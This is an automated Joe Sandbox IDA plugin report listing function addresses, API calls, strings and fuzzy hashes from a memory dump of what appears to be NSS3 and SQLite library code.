Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 53d4f18c398927a0a9d7f509433f69354b2b07a3d0b1f89828ec0847124c7534
Instruction ID: 17491aaf47c1d629eb14fa523f73a360e26b876ff161aa78b4e5faab0ff9737e
Opcode Fuzzy Hash: 53d4f18c398927a0a9d7f509433f69354b2b07a3d0b1f89828ec0847124c7534
Instruction Fuzzy Hash: 8E0289319052518FDB18CF19C468BAABBB3FF42304F19825ED8969FB91E335E949C790

Function 6CB1EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

not authorized, xrefs: 6CB1F957, 6CB1F9BA
sqlite_master, xrefs: 6CB1F0AB, 6CB1F2DA, 6CB1F757, 6CB1F93E
authorizer malfunction, xrefs: 6CB1F95C, 6CB1F9BF, 6CB1FA5E, 6CB1FA8B
there is already an index named %s, xrefs: 6CB1F9D7
%s %T already exists, xrefs: 6CB1FAC8
table, xrefs: 6CB1F05C, 6CB1FABC, 6CB1FAC7
sqlite_temp_master, xrefs: 6CB1F0A6, 6CB1F2D5
temporary table name must be unqualified, xrefs: 6CB1F734
view, xrefs: 6CB1F061, 6CB1F071, 6CB1FAB7

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 56a99493a7a86783672e95964b5534c1df01f14f7e856df2c27b6b081286cde0
Instruction ID: 1ed0568df6f28ca952aaf80afd5776b7a0756af3f89d3bbddd9607113c0c21c5
Opcode Fuzzy Hash: 56a99493a7a86783672e95964b5534c1df01f14f7e856df2c27b6b081286cde0
Instruction Fuzzy Hash: 0372B070E082858FDB14CF68C484BAABBF1FF49308F1481ADD815ABB52D775E856CB91

Function 6CC39C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CB0C52B), ref: 6CC39D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC3A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC3A114

Strings

database corruption, xrefs: 6CC3A029, 6CC3A108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC3A01F, 6CC3A0E4, 6CC3A0FE
%s at line %d of [%.10s], xrefs: 6CC3A02E, 6CC3A10D

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 6469aa04e7dd8c5f74ddcda1377444e413276fef3ee17bfba97fc18b8089decc
Instruction ID: b78b6776d62ee615e8b81079964187cc8ead0a0ef60cfd6ef1da6853fb1d70cb
Opcode Fuzzy Hash: 6469aa04e7dd8c5f74ddcda1377444e413276fef3ee17bfba97fc18b8089decc
Instruction Fuzzy Hash: F622BE716083618FCB04CF69D49062AB7E1BFCA344F049A2DE8DE97A51EB35D856CB42

Function 6CC59D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CB18637,?,?), ref: 6CC59E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CB18637), ref: 6CC59ED6

Strings

database corruption, xrefs: 6CC59ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC59EC0
%s at line %d of [%.10s], xrefs: 6CC59ECF

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: e085741948fcf02f91acf6a0b91197097ce400c9c40fe9996a98fd44fd4d66d4
Instruction ID: ae3847a6e4dbe9bcc46cc2f6681bf56b766bcc65ef7c7be6e1454fee5473ca34
Opcode Fuzzy Hash: e085741948fcf02f91acf6a0b91197097ce400c9c40fe9996a98fd44fd4d66d4
Instruction Fuzzy Hash: 58818371B012158FCB04CFAAC880ADEB3F6EF48304B5485A9E916AB741F771ED66CB54

Function 6CC67F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC681BC

Strings

out of memory, xrefs: 6CC6835B
BINARY, xrefs: 6CC68126

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: b0355db8b6a47316bbbd1483816dbb4c5443fb74e800c0f9edfd40a417ced73d
Instruction ID: 474c3db6a524be44d9d3e88fc9431e88a25c983840d06c390cfb61725d838e7c
Opcode Fuzzy Hash: b0355db8b6a47316bbbd1483816dbb4c5443fb74e800c0f9edfd40a417ced73d
Instruction Fuzzy Hash: 8A52B171E05218DFDB14CF9AC5D0BADBBB1FF49308F14816AD855ABB51E730A846CB90

Function 6CBE9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBE9ED6

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CBE9EE4

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBE9F38

Part of subcall function 6CBED030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CBE9F0B), ref: 6CBED03B
Part of subcall function 6CBED030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CBED04E
Part of subcall function 6CBED030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CBED07B
Part of subcall function 6CBED030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CBED08E
Part of subcall function 6CBED030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBED09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBE9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CBE9F59

Part of subcall function 6CBE9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CBE9C5B), ref: 6CBE9D82
Part of subcall function 6CBE9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CBE9C5B), ref: 6CBE9DA9
Part of subcall function 6CBE9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CBE9C5B), ref: 6CBE9DCE
Part of subcall function 6CBE9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CBE9C5B), ref: 6CBE9E43

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 2010274f7dba3d51019e6dc65caf636cc405b8135913c494f6350a4cba39ed18
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: B811D6A5E042815BFB009B659C0079E7694AF98ACCF240235E80987741FB61F91882D2

Function 6CC9CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC9D086
PR_Malloc.NSS3(00000001), ref: 6CC9D0B9
PR_Free.NSS3(?), ref: 6CC9D138

Strings

>, xrefs: 6CC9CF5B

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 231cc99b41cdba574ab0a2881b4a85d392f9741157288f4fb6ac041b03516e5b
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 2DD16B63B4568A0FFB14487D8CA13EA77A39782374F584369D522EBBE5F619C883C341

Function 6CC3AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a98aa73c3df09a9aeef7823b69f06e04f2da92c2f550bcb0b6b9ee2484b3a11
Instruction ID: 684b8dbb9ac3875b23531853a873cd888b3569d8f9f51082e94a50822f4c5e61
Opcode Fuzzy Hash: 7a98aa73c3df09a9aeef7823b69f06e04f2da92c2f550bcb0b6b9ee2484b3a11
Instruction Fuzzy Hash: 72F1BD71F016668BDB04CF68E9543A9B7F1BB8A308F15522DC909D7750FB74A962CBC0

Function 6CC2DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CB05001,?,00000003,00000000), ref: 6CC2DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CB05001,?), ref: 6CC2E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CB05001,?), ref: 6CC2E2DA

Strings

W, xrefs: 6CC2E111

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: b8cafdcff95723e251fc89f13d30d061f42c4318d85c2219b4449b6e3bbf93fb
Instruction ID: 87d83bfbc472e4d4186a6f0bdc96993b28c201678d13281fd2941110cb1c9174
Opcode Fuzzy Hash: b8cafdcff95723e251fc89f13d30d061f42c4318d85c2219b4449b6e3bbf93fb
Instruction Fuzzy Hash: 9DC1F871A052558BDB04CF3A84906AA77B1BF8630AF28417DDC59BBB42F7399902C7D0

Function 6CB16F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

noskipscan*, xrefs: 6CB17067
unordered*, xrefs: 6CB1702B
sz=[0-9]*, xrefs: 6CB17049
*?[, xrefs: 6CB17034, 6CB17052, 6CB17070

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: a07030efe03fe9cab9e592c18c1609da3e30c2f623095b2dea0838bf3070c1c4
Instruction ID: 88cb28c98b8f14645cd3d01facca3971f308bbf22dd67643d5bf2c1f9b35c78c
Opcode Fuzzy Hash: a07030efe03fe9cab9e592c18c1609da3e30c2f623095b2dea0838bf3070c1c4
Instruction Fuzzy Hash: FD717B32F582914BEB148E6DC89039E73A2DF85324F254279CD59BBFC1E6B19C4687C2

Function 6CB33EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6CB3463F
sqlite_temp_master, xrefs: 6CB3460F
sqlite_, xrefs: 6CB33FAA, 6CB34185

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 650d25dab3b8966ae9c756dcad3c46284276712c28ca606d9184295b1baf5f99
Instruction ID: 26dc2abf5df51a4bf972dd467a47aad20bf7414b3f4bee188225bdafd0b3d3c8
Opcode Fuzzy Hash: 650d25dab3b8966ae9c756dcad3c46284276712c28ca606d9184295b1baf5f99
Instruction Fuzzy Hash: 57225624B895F58FD7008B2980602A77FF2EF46308B5C65A8C9E95FB46D237EC918F51

Function 6CC6BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CC6C0B6

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: a8eba395213a199091f4cef6aa2eb6dc24701613d75585f580bbdcb8995fa262
Instruction ID: 3df1f52587a4b8409256acee1d494b3133e0ffd09f4d6fb09d5e4f6ab5037f4c
Opcode Fuzzy Hash: a8eba395213a199091f4cef6aa2eb6dc24701613d75585f580bbdcb8995fa262
Instruction Fuzzy Hash: B8928F74A002499FDF05DF96C990BAEB7B2FF48308F284169D815ABB91E735EC46CB50

Function 6CB03D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CB03EA9

Strings

0, xrefs: 6CB03DAB

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: f8993e733f5dba0eadc3b4eb03563a6404c202217b7b11108ee895d67f24021c
Instruction ID: 5e47cd2c5778ac3360ad8ba097575663301557f4d5446e261b0fee44fee09203
Opcode Fuzzy Hash: f8993e733f5dba0eadc3b4eb03563a6404c202217b7b11108ee895d67f24021c
Instruction Fuzzy Hash: 5E513831F490F98ADB15867D88687FFBFB1DB82314F1C432AC5A567AC0D234454687A1

Function 6CBAEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBAF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CBAF0F9

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 79a1a7eeb99f3255f0c80f264e0de82b7970e6abb26d3c60beea7b86f58ec139
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: DC919171A0465A8FCB14CFA9C8916AEB7F1FF85324F14472DD9A2A7BC0D730A906CB51

Function 6CBD2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CBF7929), ref: 6CBD2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CBF7929), ref: 6CBD2FE0

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 836c474efaf6afab6fcf441f6615e3ca2ce80998cc47c630ea9f900344969590
Instruction ID: d419213e5232155976224d4b960bc3864cb02acc36e59d6d214a064a27978606
Opcode Fuzzy Hash: 836c474efaf6afab6fcf441f6615e3ca2ce80998cc47c630ea9f900344969590
Instruction Fuzzy Hash: C051F571A059D28FDB10CE55C880B6A73B9FB45319F2B4179D909ABB03D731F946CB82

Function 6CBF0E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CBF1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CBF1086

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 83badc31e7bfea3499cf9acfc2d5fd24475e6abbfcedf0081efb8966a035fced
Instruction ID: fd5fb2725970f3b64f72fb3e49130b2bcb1b3a800a21f807962ded75e01cefd6
Opcode Fuzzy Hash: 83badc31e7bfea3499cf9acfc2d5fd24475e6abbfcedf0081efb8966a035fced
Instruction Fuzzy Hash: 95A12C71F0128A9FDF08CFA9D890AEEB7B6FF48314B148129E915A7710D735AD16CB90

Function 6CB1AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6CB1AE18
